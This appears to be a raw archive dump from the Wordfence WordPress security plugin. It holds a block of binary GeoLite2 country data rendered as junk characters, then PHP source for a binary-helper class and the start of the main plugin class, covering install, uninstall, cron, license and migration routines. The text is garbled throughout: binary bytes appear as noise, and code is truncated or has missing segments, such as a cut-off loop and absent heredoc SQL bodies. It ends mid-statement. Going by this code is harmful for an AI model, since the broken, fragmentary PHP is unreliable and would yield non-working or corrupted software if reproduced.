z(E ' (_ z(T ' (_ z( ' !B z( ' !B z(: ' !B z( '  z(q8 ' # z({ ' (_ z(F' ' (_ z(L ' (_ z(J ' # z( ' ( V z(f ' ( V z( ' ( V z(q ' ( V z( ' ( V z(W ' ( V z(}3 ' ( V z(jY ' ( V z(3 ' !B z( ' ( V z(yW ' ( V z(} ' ( V z(v ' ( V z(n ' ( V z(k ' ( V z(b ' (_ z(AT ' # z(# ' !B z(H '  z( ' # z(iF ' ( V z( ' ( V z(; ' ( V z(u ' ( V z(p ' ( V z(s' ' ( V z(p) ' ( V z(n0 ' ( V z(e} '  z) ' ( V z(h ' ( V z(` ' ( z) '  z( '  z( ' ( V z( ' ( V z(S ' ( V z(z '  z( '  z(m '  z(/ ' ( V z(h0 ' ( V z(f ' # z(7 ' !B z(P ' !B z( ' (_ z(\ ' (_ z(o ' (_ z(T ' (/ z(W ' (_ z(K ' (_ z(Bp ' (_ z(S ' (/ z(I ' (/ z(Y ' (_ z(G ' (_ z(DS ' (_ z(G ' (_ z(> ' (_ z(? ' ( V z(c ' ( V z(|# ' ( V z(w ' ( V z(ry ' ( V z(g\ ' # z($ ' ( V z(i ' ( V z(b ' ( V z(_ ' ( V z(^ ' !B z(V ' !B z( ' !B z([ ' !B z(Z ' !B z(X ' !B z(X ' !B z(Vb ' !B z(9 ' !B z(N ' !B z(L^ ' !B z(NY ' !B z(Ke ' !B z(G ' !B z(CD ' !B z(= ' (_ z(X ' (_ z(Y ' (_ z(J ' (_ z(o ' # z( ' !B z(M: ' # z( (V !B z! ( (_ z(g (g(( # z( (%(( # z( (H (_ z(& (  z$A (  z ( (/ z(M (  z(~ (  z# ( # z#j ("D  z(N ( ( z) ( ( V z( ( !B z(+ (  z(o ( (_ z(C ( (_ z(O ( (_ z(k (  z$A ( !B z(c ( !B z(V ( # z( ( # z( ( # z(V (g # z( ((( (/ z( ( !B z(+ ((( # z(m ( (/ z( (m # z( ( # z( ( # z( ( !B z(+ ( ( V z(x ( ( V z(  ( # z( ([  z%] ([ # z' ([ # z(] ([  z( ([  z( ([ (_ z(? ([ (_ z(> ([ # z(i ([  z( ([ ( V z(^ ([ ( z) ([ (/ z(M ([ !B z(= ([ # z(H ([ !B z! ([ (_ z(@ ([ # z(28 ([  z(1o ([ # z(9 ([ (_ z(@ ([  z(^ ([ # z({ ([ ( V z(3 ([ # z( ([  z(,G ([ ( V z( ([ ( V z(_ ([ (_ z(G ([ (_ z(AT ([  z(a< ([ (/ z(A ([ (_ z(o ([ (/ z( ([ (_ z(@l ([  z(`B ([ ( z(b ([ ( V z(` ([ # z(_C ([ (_ z(g ([ (_ z(o ([  z(d ([ ( V z(f ([ ( V z(b ([ ( V z(y ([ # z( ([ ( V z(f ([ !B z(CD ([ (/ z(n ([ ( V z( ([  z ([ (/ z( ([ (_ z(* ([ (_ z(C ([ ( V z(b ([ (_ z( ([ !B z(c ([ # z( ([ # z( ([ ( V z(yW ([ # z( a ([ (_ z(DS ([ (_ z(D ([ ( V z( ([ (/ z(E ([ ( V z( ([ ( V z(R ([ ( V z(h0 ([ # z(V ([ ( V z(h ([ # z( ([ !B z(G ([ (/ z(F ([ !B z( ([ # z(iF ([ # z( ([ ( V z(i ([ # z(Q ([ (_ z(G ([  z(! ([ (/ z(Y ([ # z(# ([ ( V z( ([ # z($ ([ (_ z(k ([ ( V z(jY ([ ( V z(lP ([ (_ z(H] ([ ( V z(g\ ([ # z(S ([ ( z( ([ (_ z(I4 ([ !B z(H ([ ( V z(k ([ (/ z(I ([ ( z)T ([ (_ z(Jx ([ # z( ([ (_ z(J ([ # z(' ([  z(, ([ # z( ([  z( ([ # z( ([  z# ([  z) ([  z(/ ([  z( ([ # z( ([ # z( ([ # z(7 ([ (_ z(J ([  z( ([ ( V z( ([  z(;E ([  z(5I ([ !B z(Ke ([ ( V z(e} ([ (_ z(S ([  z(N ([  z$ ([  z(m ([ (_ z(Bp ([  z(" ([  z(m ([  z(0 ([ (_ z(T ([ # z(6 ([  z(~ ([ ( V z(n ([ ( V z(n0 ([ # z( ([ # z(V ([ # z(% ([ ( V z(o ([ ( V z(u ([ # z(s ([ # z( ([ # z(t ([ (_ z( ([ ( V z(p) ([ !B z( ([ # z(5 ([ ( V z(q ([  z(v! ([  z(t ([  z(o ([ !B z(: ([ (_ z( ([ ( V z(ry ([ (_ z(K ([ # z(r ([ ( V z(s' ([  z(q8 ([ ( V z(p ([ (_ z(& ([  z$A ([ ( V z(u ([ !B z(M: ([ ( V z(w ([ !B z(NY ([ ( V z(x ([ (_ z(L ([ # z( ([  z(w5 ([ !B z(L^ ([ !B z(N ([ !B z(+ ([  z( u ([ (_ z(O ([ (/ z(Qw ([ !B z(9 ([ !B z(P ([  z& ([  z(x ([ # z(? ([ (_ z(\ ([ !B z(Q ([ (_ z(R ([  z( ([ # z( ([ !B z( ([ (/ z(P ([  z(^ ([ ( V z(; ([ # z( ([ # z(2 ([ # z#j ([ ( V z(z ([  z()) ([ !B z(Vb ([ ( V z(b ([ ( V z(S ([ # z( ([ ( V z(z ([ # z(% ([ # z( ([ # z("D ([ ( V z(} ([ # z({ ([ ( V z(}3 ([ ( V z(~Y ([ (/ z(W ([ ( V z( ([ ( V z(|# ([ (_ z(F' ([ (_ z(E ([  z(/+ ([ ( V z(W ([ (_ z(Y ([ ( V z(c ([ ( z(7 ([ ( V z( ([  z"B ([  z( ([ !B z(X ([ !B z( ([  z( ([ ( V z( ([ !B z(X ([  z( . ([ (_ z(X ([ !B z(Z ([  z% ([ ( V z(b ([ # z(m ([ ( V z(m ([ !B z(Z ([ (_ z( ([ (/ z([- ([  z(} ([ # z( ([ (_ z(T ([ (/ z(\ ([ (_ z( ([ (_ z(o ([  z' ([ !B z( ([ !B z(V ([  z(I ([ ( V z( ([ ( V z(  ([ ( V z( ([ ( V z(3 ([  z( u (0  z$ ()a)u (/ z( ( (/ z(n (  z( . (  z$ ( (_ z(o ( !B z! (  z ( # z(V ( (/ z(M ( # z( ( # z( ( # z( ( # z( ( !B z(+ ( # z( a ( ( V z(x ( ( V z(  (  z ( (_ z(& ( # z(] (  z( ( (_ z(@ ( # z( ( (_ z(@l ( (/ z(A ( # z(_C ( (_ z(g ( (_ z(* ( # z( ( # z( ( (_ z(D ( ( V z( ( (/ z(E ( # z(# ( ( V z( (  z(! ( # z(S ( (_ z(I4 ( (/ z(I ( # z( ( # z(' (  z(, (  z( (  z( (  z(" ( # z( ( # z(% ( ( V z(u ( # z(t ( # z(r (  z$A ( (_ z(L (  z(w5 (  z( u ( (_ z(O ( (/ z(Qw (  z& ( (/ z(P (  z(^ ( # z( ( # z(2 (  z()) ( # z(% ( # z("D (  z"B ( ( V z( ( # z(m ( (/ z([- ( ( V z(w (  z' (  z(, ( . (/ z(M ( .  z% ( .  z%] ( .  z& ( . (_ z(o ( .  z# ( . # (# # z( ( # z( (# (_ z(C ' # z(28 ' # z( ' # z(2 ({ # z(m ({  z(N ({ # z( ({ # z( '  z(o #j  z(N #j ( z) #j # #j (_ z(k #j (_ z(\ #j  z(5I #j (_ z(T #j  z(x #j  z(w5 #j ( V z(b ( # z( ()a)u  z(" ()a)u  z( ()a)u # z( ()a)u ( V z(; ()a)u # z(6 ((( (_ z(DS (DS(( # z({ ( !B z(+ (' ( z) (Q  z) (Q # z(H ( # z(i (%  z( (m # z(] ( # z(6 ( # z({ ( ( V z(z ( ( V z(x ( ( V z( (  z" (# # z(V (#(( # z( (#  z$ (  z( ( # z(S (m # z(' (m # z(# ( # z(2 ( # z(' ( # z( ( (_ z(& ( (/ z(M ( (/ z(P ( (/ z([- ( (/ z(Qw ( (/ z( ( # z( ({ ( V z( (Q # z( a (Q((  z(^ ( (_ z(O ( (_ z(J ( (_ z(g ( (_ z(L ( (/ z( ( . (_ z(& ( . (/ z( ( .  z(x ( . # z( (O # z( (O # z( (O # z( (O  z(! (O # z(% (O # z(V (O # z(# (O # z( (V !B z(P (  z$A (  z& (  z' (  z"B ( # z(s ( # z(_C ( !B z(+ ( # z(' ( # z(i ( # z(9 ( # z(t ( # z(5 (  z(;E (  z(t (  z( (  z( u (  z()) (  z(^ ( ( V z( ( ( V z(p) ( ( V z(b ( ( V z(u ( ( V z(s' ( ( V z( ( ( V z(^ ( ( V z(} ( (/ z(\ ( (/ z(I ( (/ z(E ( (/ z(W ( (_ z(F' ( (_ z(I4 ( # z( ( # z( ( # z( a ( # z(# (  z(" (m # z( " # z( " (_ z(@ ( z)  z(N # z( # z( (/ !B z( (m ( z( (m ( V z(h (m ( V z(b (m  z(t (m ( V z( (m (_ z(@ (m ( V z(v (m  z' (m ( V z(o (m !B z(N (m # z( (m (_ z(o (m # z( (m  z(^ (m  z(x (m (/ z(Qw (m  z(m (m  z(o (m (_ z(L (m !B z( (m ( V z(u (m !B z(NY (m ( V z(3 (m (_ z( (m (_ z(DS (m # z( (m ( z(b (m !B z( (m  z(w5 (m  z(a< (m ( V z(n0 (m  z(I (m ( V z( (m ( V z( (m ( V z(; (m  z( (m ( V z(} (m ( V z(yW (m  z( (m (/ z(I (m (_ z(@ (m (_ z(o (m !B z( (m ( V z(z (m ( V z( (m ( V z(w (m ( V z(g\ (m ( V z(c (m (_ z(@l (m !B z(H (m  z(1o (m (_ z(I4 (m (_ z(Y (m ( V z(^ (m # z(28 (m ( V z( (m  z( (m !B z(Z (m ( V z(~Y (m ( V z(W (m ( V z(f (m (_ z( (m  z(v! (m  z(,G (m (_ z(T (m # z(7 (m  z( (m  z(~ (m ( V z(jY (m !B z(Vb (m ( V z( (m # z(r (m ( V z( (m (_ z(J (m !B z(Q (m ( V z(f (m (/ z(P (m  z(d (m !B z( (m (_ z(Jx (m !B z(X (m # z( (m ( V z(y (m !B z(c (m !B z(: (m (_ z( (m (/ z(W (m ( V z(u (m (_ z(G (m ( V z(i (m ( V z(n (m (_ z(E (m  z(5I (m ( V z(S (m ( V z(q (m  z(;E (m ( V z(z (m ( V z(m (m (/ z([- (m  z(0 (m (/ z(A (m (_ z(O (m ( V z(x (m ( V z(ry (m  z& (m ( V z(h0 (m (_ z(R (m ( V z( (m ( z) (m  z (m (_ z(T (m (_ z(G (m (_ z(AT (m  z( (m (_ z(g (m (/ z(F (m ( V z(_ (m ( V z(p) (m # z(iF (m  z( (m (_ z(\ (m (/ z(M (m ( V z(s' (m !B z(L^ (m !B z(X (m ( V z(b (m  z( (m  z(} (m ( V z( (m  z(/+ (m (_ z(D (m  z( (m ( V z(3 (m # z(V (m  z(q8 (m (_ z(* (m ( V z(` (m # z(9 (m ( z(7 (m (_ z(? (m !B z(Z (m (_ z(J (m  z(`B (m  z(m (m (_ z(S (m # z( (m !B z(CD (m ( V z( (m !B z(9 (m # z(t (m (_ z(H] (m (_ z(C (m # z(# (m # z(6 (m ( V z(e} (m (_ z(> (m !B z(Ke (m ( V z(lP (m ( V z(|# (m  z(N (m # z({ (m !B z(M: (m !B z([ (m  z(! (m !B z(= (m !B z(G (m # z(i (m  z) (m (_ z(F' (m ( V z(p (m ( V z(b (m !B z(V (m # z( (m ( V z(}3 (m ( z)T (m ( V z( (m (_ z(k (m !B z(P (m  z( u (m # z(] (m (_ z( (m # z(s (m (/ z(E (m (_ z(K (m (/ z(Y (m ( V z(k (m # z($ (m ( V z(b (m (_ z(X (m (_ z(Bp (m ( V z(R (m  z(^ (m  z(N (  z (Q(( ( V z(u (x ( V z(z (x ( V z(b (x ( V z(n (x ( V z(_ (x ( V z(p (x ( V z(b (x ( V z(} (x ( V z(W (x ( V z(p) (x ( V z(; (x ( V z(` (x ( V z(3 (x ( V z( (x ( V z( (x ( V z( (x ( V z( (x ( V z(n0 (x ( V z( (x ( V z( (lP ( V z(f (  ( V z(p (  ( V z(u (  ( V z(  (MaxMind.com[binary_format_major_version[binary_format_minor_versionKbuild_epochg.iMdatabase_typePGeoLite2-CountryKdescriptionBenYGeoLite2 Country databaseJip_versionIlanguagesBdeBenBesBfrBjaEpt-BRBruEzh-CNJnode_countKrecord_sizewfHelperBin.php000064400000003737147206764270007513 0ustar00 0) { $carries = 0; } if ($val >= 0x100000000) { $val -= 0x100000000; $carries++; } $return[] = $val; } if ($carries) { $return[] += $carries; } $return = array_reverse($return); array_unshift($return, 'N*'); $return = call_user_func_array('pack', $return); $return = ltrim($return, "\x00"); return strlen($return) == 0 ? "\x00" : $return; } /** * Convert binary string to the 10101's representation. * * @param string $string * @return string */ public static function bin2str($string) { $return = ''; for ($i = 0; $i < strlen($string); $i++) { $return .= str_pad(decbin(ord($string[$i])), 8, '0', STR_PAD_LEFT); } $return = ltrim($return, '0'); return strlen($return) == 0 ? '0' : $return; } /** * Convert 10101's representation back to the binary data. * * @param string $string * @return string */ public static function str2bin($string) { if (strlen($string) % 32 > 0) { $string = str_repeat('0', 32 - (strlen($string) % 32)) . $string; } $ints = str_split($string, 32); $return = ''; foreach ($ints as $int) { $return .= pack('N', bindec($int)); } $return = ltrim($return, "\0"); return strlen($return) == 0 ? "\0" : $return; } }wordfenceClass.php000064400001547402147206764270010253 0ustar00=')) { require_once(dirname(__FILE__) . '/WFLSPHP52Compatability.php'); define('WORDFENCE_USE_LEGACY_2FA', wfCredentialsController::useLegacy2FA()); $wfCoreLoading = true; require(dirname(__FILE__) . '/../modules/login-security/wordfence-login-security.php'); } require_once(dirname(__FILE__) . '/wfJWT.php'); require_once(dirname(__FILE__) . '/wfCentralAPI.php'); if (class_exists('WP_REST_Users_Controller')) { //WP 4.7+ require_once(dirname(__FILE__) . '/wfRESTAPI.php'); } if (wfCentral::isSupported()) { //WP 4.4.0+ require_once(dirname(__FILE__) . '/rest-api/wfRESTAuthenticationController.php'); require_once(dirname(__FILE__) . '/rest-api/wfRESTConfigController.php'); require_once(dirname(__FILE__) . '/rest-api/wfRESTScanController.php'); } class wordfence { public static $printStatus = false; public static $wordfence_wp_version = false; /** * @var WP_Error */ public static $authError; private static $passwordCodePattern = '/\s+wf([a-z0-9 ]+)$/i'; protected static $lastURLError = false; protected static $curlContent = ""; protected static $curlDataWritten = 0; protected static $hasher = ''; protected static $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; protected static $ignoreList = false; private static $wfLog = false; private static $hitID = 0; private static $debugOn = null; private static $runInstallCalled = false; private static $userDat = false; const ATTACK_DATA_BODY_LIMIT=41943040; //40MB public static function installPlugin(){ self::runInstall(); if (get_current_user_id() > 0) { wfConfig::set('activatingIP', wfUtils::getIP()); } //Used by MU code below update_option('wordfenceActivated', 1); if (defined('WORDFENCE_LS_FROM_CORE') && WORDFENCE_LS_FROM_CORE) { WFLSPHP52Compatability::install_plugin(); } } public static function uninstallPlugin(){ if (!defined('WORDFENCE_DEACTIVATING')) { define('WORDFENCE_DEACTIVATING', true); } //Send admin alert $currentUser = wp_get_current_user(); $username = $currentUser->user_login; $alertCallback = array(new wfWordfenceDeactivatedAlert($username, wfUtils::getIP()), 'send'); do_action('wordfence_security_event', 'wordfenceDeactivated', array( 'username' => $username, 'ip' => wfUtils::getIP(), ), $alertCallback); //Send all pending audit events (up to the limit but disallow sending any further to avoid timeouts/orphaned crons) wfAuditLog::sendPendingAuditEvents(100, false); //Check if caching is enabled and if it is, disable it and fix the .htaccess file. wfCache::removeCaching(); //Used by MU code below update_option('wordfenceActivated', 0); wp_clear_scheduled_hook('wordfence_daily_cron'); wp_clear_scheduled_hook('wordfence_hourly_cron'); wp_clear_scheduled_hook('wordfence_daily_autoUpdate'); //Remove old legacy cron job if it exists wp_clear_scheduled_hook('wordfence_scheduled_scan'); //Remove all scheduled scans. wfScanner::shared()->unscheduleAllScans(); wfScanMonitor::handleDeactivation(); // Remove cron for email summary wfActivityReport::clearCronJobs(); // Remove the admin user list so it can be regenerated if Wordfence is reactivated. wfConfig::set_ser('adminUserList', false); if (!WFWAF_SUBDIRECTORY_INSTALL) { wfWAFConfig::set('wafDisabled', true); } if(wfConfig::get('deleteTablesOnDeact')){ if (wfCentral::isSupported() && wfCentral::isConnected()) { self::ajax_wfcentral_disconnect_callback(); } wfConfig::updateTableExists(false); $schema = new wfSchema(); $schema->dropAll(); foreach(array('wordfence_version', 'wordfenceActivated', wfSchema::TABLE_CASE_OPTION) as $opt) { if (is_multisite() && function_exists('delete_network_option')) { delete_network_option(null, $opt); } delete_option($opt); } if (!WFWAF_SUBDIRECTORY_INSTALL) { try { if (WFWAF_AUTO_PREPEND) { $helper = new wfWAFAutoPrependHelper(); if ($helper->uninstall()) { wfWAF::getInstance()->uninstall(); } } else { wfWAF::getInstance()->uninstall(); } } catch (wfWAFStorageFileException $e) { error_log($e->getMessage()); } catch (wfWAFStorageEngineMySQLiException $e) { error_log($e->getMessage()); } } } if (defined('WORDFENCE_LS_FROM_CORE') && WORDFENCE_LS_FROM_CORE) { WFLSPHP52Compatability::uninstall_plugin(); } } public static function hourlyCron() { wfLog::trimHumanCache(); wfRateLimit::trimData(); wfCentral::checkForUnsentSecurityEvents(); wfAuditLog::checkForUnsentAuditEvents(); wfCentral::populateCentralSiteData(); wfVersionCheckController::shared()->checkVersionsAndWarn(); if (wfScanner::shared()->shouldRunQuickScan()) { wfScanner::shared()->recordLastQuickScanTime(); wfScanEngine::startScan(false, wfScanner::SCAN_TYPE_QUICK); } } private static function keyAlert($msg){ self::alert($msg, $msg . " " . __("To ensure uninterrupted Premium Wordfence protection on your site,\nplease renew your license by visiting http://www.wordfence.com/ Sign in, go to your dashboard,\nselect the license about to expire and click the button to renew that license.", 'wordfence'), false); } private static function pingApiKey() { $apiKey = wfConfig::get('apiKey'); if (empty($apiKey)) return; $api = new wfAPI($apiKey, wfUtils::getWPVersion()); try { $keyType = wfLicense::KEY_TYPE_FREE; $keyData = $api->call('ping_api_key', array(), array('supportHash' => wfConfig::get('supportHash', ''), 'whitelistHash' => wfConfig::get('whitelistHash', ''), 'tldlistHash' => wfConfig::get('tldlistHash', ''), 'ipResolutionListHash' => wfConfig::get('ipResolutionListHash', ''))); if (isset($keyData['_isPaidKey'])) { $keyType = wfConfig::get('keyType'); } if (isset($keyData['_feedbackBasis'])) { wfConfig::setBool('satisfactionPromptOverride', $keyData['_feedbackBasis'] > WORDFENCE_FEEDBACK_EPOCH); } if(isset($keyData['_isPaidKey']) && $keyData['_isPaidKey']){ $keyExpDays = $keyData['_keyExpDays']; $keyIsExpired = $keyData['_expired']; if (!empty($keyData['_autoRenew'])) { if ($keyExpDays > 12) { wfConfig::set('keyAutoRenew10Sent', ''); } else if ($keyExpDays <= 12 && $keyExpDays > 0 && !wfConfig::get('keyAutoRenew10Sent')) { wfConfig::set('keyAutoRenew10Sent', 1); $email = __("Your Premium Wordfence License is set to auto-renew in 10 days.", 'wordfence'); self::alert($email, $email . " " . __("To update your license settings please visit http://www.wordfence.com/zz9/dashboard", 'wordfence'), false); } } else { if($keyExpDays > 15){ wfConfig::set('keyExp15Sent', ''); wfConfig::set('keyExp7Sent', ''); wfConfig::set('keyExp2Sent', ''); wfConfig::set('keyExp1Sent', ''); wfConfig::set('keyExpFinalSent', ''); } else if($keyExpDays <= 15 && $keyExpDays > 0){ if($keyExpDays <= 15 && $keyExpDays >= 11 && (! wfConfig::get('keyExp15Sent'))){ wfConfig::set('keyExp15Sent', 1); self::keyAlert(__("Your Premium Wordfence License expires in less than 2 weeks.", 'wordfence')); } else if($keyExpDays <= 7 && $keyExpDays >= 4 && (! wfConfig::get('keyExp7Sent'))){ wfConfig::set('keyExp7Sent', 1); self::keyAlert(__("Your Premium Wordfence License expires in less than a week.", 'wordfence')); } else if($keyExpDays == 2 && (! wfConfig::get('keyExp2Sent'))){ wfConfig::set('keyExp2Sent', 1); self::keyAlert(__("Your Premium Wordfence License expires in 2 days.", 'wordfence')); } else if($keyExpDays == 1 && (! wfConfig::get('keyExp1Sent'))){ wfConfig::set('keyExp1Sent', 1); self::keyAlert(__("Your Premium Wordfence License expires in 1 day.", 'wordfence')); } } else if($keyIsExpired && (! wfConfig::get('keyExpFinalSent')) ){ wfConfig::set('keyExpFinalSent', 1); self::keyAlert(__("Your Wordfence Premium License has Expired!", 'wordfence')); } } } if (isset($keyData['dashboard'])) { wfConfig::set('lastDashboardCheck', time()); wfDashboard::processDashboardResponse($keyData['dashboard']); } if (isset($keyData['support']) && isset($keyData['supportHash'])) { wfConfig::set('supportContent', $keyData['support'], wfConfig::DONT_AUTOLOAD); wfConfig::set('supportHash', $keyData['supportHash']); } if (isset($keyData['_whitelist']) && isset($keyData['_whitelistHash'])) { wfConfig::setJSON('whitelistPresets', $keyData['_whitelist']); wfConfig::set('whitelistHash', $keyData['_whitelistHash']); } if (isset($keyData['_tldlist']) && isset($keyData['_tldlistHash'])) { wfConfig::set('tldlist', $keyData['_tldlist'], wfConfig::DONT_AUTOLOAD); wfConfig::set('tldlistHash', $keyData['_tldlistHash']); } if (isset($keyData['_ipResolutionList']) && isset($keyData['_ipResolutionListHash'])) { wfConfig::setJSON('ipResolutionList', $keyData['_ipResolutionList']); wfConfig::set('ipResolutionListHash', $keyData['_ipResolutionListHash']); } if (isset($keyData['scanSchedule']) && is_array($keyData['scanSchedule'])) { wfConfig::set_ser('noc1ScanSchedule', $keyData['scanSchedule']); if (wfScanner::shared()->schedulingMode() == wfScanner::SCAN_SCHEDULING_MODE_AUTOMATIC) { wfScanner::shared()->scheduleScans(); } } if (isset($keyData['showWfCentralUI'])) { wfConfig::set('showWfCentralUI', (int) $keyData['showWfCentralUI']); } if (isset($keyData['_keyNoLongerValid']) && $keyData['_keyNoLongerValid'] == 1) { if (wfConfig::get('keyDeletedNotice') !== $apiKey) { $keyDeletedNoticeSent = self::alert(__("The Wordfence Premium License in use on this site has been removed from your account.", 'wordfence'), __("The license you were using has been removed from your account. Please reach out to billing@wordfence.com or create a Premium support case at https://support.wordfence.com/support/tickets for more information. Our staff is happy to help.", 'wordfence'), false); if ($keyDeletedNoticeSent) { wfConfig::set('keyDeletedNotice', $apiKey); } } } wfConfig::set('keyType', $keyType); } catch(Exception $e){ wordfence::status(4, 'error', sprintf(/* translators: Wordfence license key. */ __("Could not verify Wordfence License: %s", 'wordfence'), $e->getMessage())); } } public static function dailyCron() { $lastDailyCron = (int) wfConfig::get('lastDailyCron', 0); if (($lastDailyCron + 43200) > time()) { //Run no more frequently than every 12 hours return; } wfConfig::set('lastDailyCron', time()); global $wpdb; $version = $wpdb->get_var("SELECT VERSION()"); wfConfig::set('dbVersion', $version); self::pingApiKey(); $allowMySQLi = wfConfig::testDB(); wfConfig::set('allowMySQLi', $allowMySQLi); $wfdb = new wfDB(); $table_wfLocs = wfDB::networkTable('wfLocs'); $wfdb->queryWrite("delete from {$table_wfLocs} where ctime < unix_timestamp() - %d", WORDFENCE_MAX_IPLOC_AGE); wfBlock::vacuum(); $table_wfCrawlers = wfDB::networkTable('wfCrawlers'); $wfdb->queryWrite("delete from {$table_wfCrawlers} where lastUpdate < unix_timestamp() - (86400 * 7)"); self::trimWfHits(true); $maxRows = absint(wfConfig::get('liveTraf_maxRows', 2000));; //affects stuff further down too $table_wfLogins = wfDB::networkTable('wfLogins'); $count2 = $wfdb->querySingle("select count(*) as cnt from {$table_wfLogins}"); if($count2 > 20000){ $wfdb->truncate($table_wfLogins); //in case of Dos } else if($count2 > $maxRows){ $wfdb->queryWrite("delete from {$table_wfLogins} order by ctime asc limit %d", ($count2 - $maxRows)); } wfCentral::trimSecurityEvents(); wfAuditLog::trimAuditEvents(); wfAuditLog::heartbeat(); $table_wfReverseCache = wfDB::networkTable('wfReverseCache'); $wfdb->queryWrite("delete from {$table_wfReverseCache} where unix_timestamp() - lastUpdate > 86400"); $table_wfStatus = wfDB::networkTable('wfStatus'); $count4 = $wfdb->querySingle("select count(*) as cnt from {$table_wfStatus}"); if($count4 > 100000){ $wfdb->truncate($table_wfStatus); } else if($count4 > 1000){ //max status events we keep. This determines how much gets emailed to us when users sends us a debug report. $wfdb->queryWrite("delete from {$table_wfStatus} where level != 10 order by ctime asc limit %d", ($count4 - 1000)); $count5 = $wfdb->querySingle("select count(*) as cnt from {$table_wfStatus} where level=10"); if($count5 > 100){ $wfdb->queryWrite("delete from {$table_wfStatus} where level = 10 order by ctime asc limit %d", ($count5 - 100) ); } } $report = new wfActivityReport(); $report->rotateIPLog(); self::_refreshUpdateNotification($report, true); wfUpdateCheck::syncAllVersionInfo(); self::purgeWafFailures(); wfConfig::remove('lastPermissionsTemplateCheck'); } public static function _scheduleRefreshUpdateNotification($upgrader = null, $options = null) { $defer = false; if (is_array($options) && isset($options['type']) && $options['type'] == 'core') { $defer = true; set_site_transient('wordfence_updating_notifications', true, 600); } if ($defer) { wp_schedule_single_event(time(), 'wordfence_refreshUpdateNotification'); } else { self::_refreshUpdateNotification(); } } public static function _refreshUpdateNotification($report = null, $useCachedValued = false) { if ($report === null) { $report = new wfActivityReport(); } $updatesNeeded = $report->getUpdatesNeeded($useCachedValued); if ($updatesNeeded) { $items = array(); $plural = false; if ($updatesNeeded['core']) { $items[] = sprintf(/* translators: WordPress version. */ __('WordPress (v%s)', 'wordfence'), esc_html($updatesNeeded['core'])); } if ($updatesNeeded['plugins']) { $entry = sprintf(/* translators: Number of plugins. */ _n('%d plugin', '%d plugins', count($updatesNeeded['plugins']), 'wordfence'), count($updatesNeeded['plugins'])); $items[] = $entry; } if ($updatesNeeded['themes']) { $entry = sprintf(/* translators: Number of themes. */ _n('%d theme', '%d themes', count($updatesNeeded['themes']), 'wordfence'), count($updatesNeeded['themes'])); $items[] = $entry; } $message = _n('An update is available for ', 'Updates are available for ', count($items), 'wordfence'); for ($i = 0; $i < count($items); $i++) { if ($i > 0 && count($items) > 2) { $message .= ', '; } else if ($i > 0) { $message .= ' '; } if ($i > 0 && $i == count($items) - 1) { $message .= __('and ', 'wordfence'); } $message .= $items[$i]; } new wfNotification(null, wfNotification::PRIORITY_HIGH_WARNING, '' . $message . '', 'wfplugin_updates'); } else { $n = wfNotification::getNotificationForCategory('wfplugin_updates'); if ($n !== null) { $n->markAsRead(); } } $i = new wfIssues(); $i->reconcileUpgradeIssues($report, true); wp_schedule_single_event(time(), 'wordfence_completeCoreUpdateNotification'); } public static function _completeCoreUpdateNotification() { //This approach is here because WP Core updates run in a different sequence than plugin/theme updates, so we have to defer the running of the notification update sequence by an extra page load delete_site_transient('wordfence_updating_notifications'); wfVersionCheckController::shared()->checkVersionsAndWarn(); } private static function scheduleCrons($delay = 0) { wp_clear_scheduled_hook('wordfence_daily_cron'); wp_clear_scheduled_hook('wordfence_hourly_cron'); if (is_main_site()) { wfConfig::remove('lastDailyCron'); wp_schedule_event(time() + $delay, 'daily', 'wordfence_daily_cron'); //'daily' wp_schedule_event(time() + $delay, 'hourly', 'wordfence_hourly_cron'); } } public static function runInstall(){ if(self::$runInstallCalled){ return; } self::$runInstallCalled = true; if (function_exists('ignore_user_abort')) { @ignore_user_abort(true); } if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $previous_version = ((is_multisite() && function_exists('get_network_option')) ? get_network_option(null, 'wordfence_version', '0.0.0') : get_option('wordfence_version', '0.0.0')); if (is_multisite() && function_exists('update_network_option')) { update_network_option(null, 'wordfence_version', WORDFENCE_VERSION); //In case we have a fatal error we don't want to keep running install. } else { update_option('wordfence_version', WORDFENCE_VERSION); //In case we have a fatal error we don't want to keep running install. } wordfence::status(4, 'info', sprintf(/* translators: Wordfence version. */ __('`runInstall` called with previous version = %s', 'wordfence'), $previous_version)); //EVERYTHING HERE MUST BE IDEMPOTENT //Remove old legacy cron job if exists wp_clear_scheduled_hook('wordfence_scheduled_scan'); wfSchema::updateTableCase(); $schema = new wfSchema(); $schema->createAll(); //if not exists wfConfig::updateTableExists(true); /** @var wpdb $wpdb */ global $wpdb; //6.1.15 $configTable = wfDB::networkTable('wfConfig'); $hasAutoload = $wpdb->get_col($wpdb->prepare(<<query("ALTER TABLE {$configTable} ADD COLUMN autoload ENUM('no', 'yes') NOT NULL DEFAULT 'yes'"); $wpdb->query("UPDATE {$configTable} SET autoload = 'no' WHERE name = 'wfsd_engine' OR name LIKE 'wordfence_chunked_%'"); } $wpdb->query("DELETE FROM $configTable WHERE `name` = 'emailedIssuesList' AND LENGTH(`val`) > 2 * 1024 * 1024"); wfConfig::setDefaults(); //If not set $restOfSite = wfConfig::get('cbl_restOfSiteBlocked', 'notset'); if($restOfSite == 'notset'){ wfConfig::set('cbl_restOfSiteBlocked', '1'); } if(wfConfig::get('autoUpdate') == '1'){ wfConfig::enableAutoUpdate(); //Sets up the cron } $freshAPIKey = !wfConfig::get('apiKey'); if ($freshAPIKey) { wfConfig::set('touppPromptNeeded', true); } self::scheduleCrons(15); $db = new wfDB(); // IPv6 schema changes for 6.0.1 $tables_with_ips = array( 'wfCrawlers', 'wfBadLeechers', 'wfBlockedIPLog', 'wfBlocks', //Removed in 7.0.1 but left in in case migrating from really old 'wfHits', 'wfLocs', 'wfLogins', 'wfReverseCache', ); foreach ($tables_with_ips as $ip_table) { $ptable = wfDB::networkTable($ip_table); $tableExists = $wpdb->get_col($wpdb->prepare(<<get_row("SHOW FIELDS FROM {$ptable} where field = 'IP'"); if (!$result || strtolower($result->Type) == 'binary(16)') { continue; } $db->queryWriteIgnoreError("ALTER TABLE {$ptable} MODIFY IP BINARY(16)"); // Just to be sure we don't corrupt the data if the alter fails. $result = $wpdb->get_row("SHOW FIELDS FROM {$ptable} where field = 'IP'"); if (!$result || strtolower($result->Type) != 'binary(16)') { continue; } $db->queryWriteIgnoreError("UPDATE {$ptable} SET IP = CONCAT(LPAD(CHAR(0xff, 0xff), 12, CHAR(0)), LPAD( CHAR( CAST(IP as UNSIGNED) >> 24 & 0xFF, CAST(IP as UNSIGNED) >> 16 & 0xFF, CAST(IP as 